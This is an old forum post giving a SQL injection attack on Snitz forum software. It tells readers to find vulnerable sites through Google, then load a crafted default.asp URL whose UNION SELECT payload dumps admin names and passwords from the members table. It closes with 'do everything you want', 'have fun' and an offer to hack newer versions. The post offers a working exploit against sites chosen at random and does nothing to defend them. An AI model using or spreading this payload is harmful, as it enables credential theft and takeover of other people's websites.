|
-
October 28th, 2002, 09:25 PM
#1
Junior Member
snitz 2k bug
step1: go to http://google.com and search key word " snitz 2k"
step2: choose a site and run this script:
http://url/forum//default.asp?Cat_ID...%20member_ID=1
and you see password of admin that forum snitz
step3: do everything you want !!
and this is bug of snitz 3.x with error default.asp:
run this script:
http://victim.com/forum/ default.asp?CAT_ID=0%20UNION%20SELECT%20CAT_ID,M_NAME%2b'/'%2bM_PASSWORD ,M_NAME%2b'/'%2bM_PASSWORD,M_NAME%2b'/'%2bM_PASSWORD,M_NAME%2b'/'%2bM_PASSWORD ,M_NAME%2b'/'%2bM_PASSWORD%20FROM%20FORUM_MEMBERS,FORUM_CATEGORY%20WHERE%20M_LEVEL=3
level =3 ----> level of admin
have fun
p/s: hack snitz 4.x contact me !
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|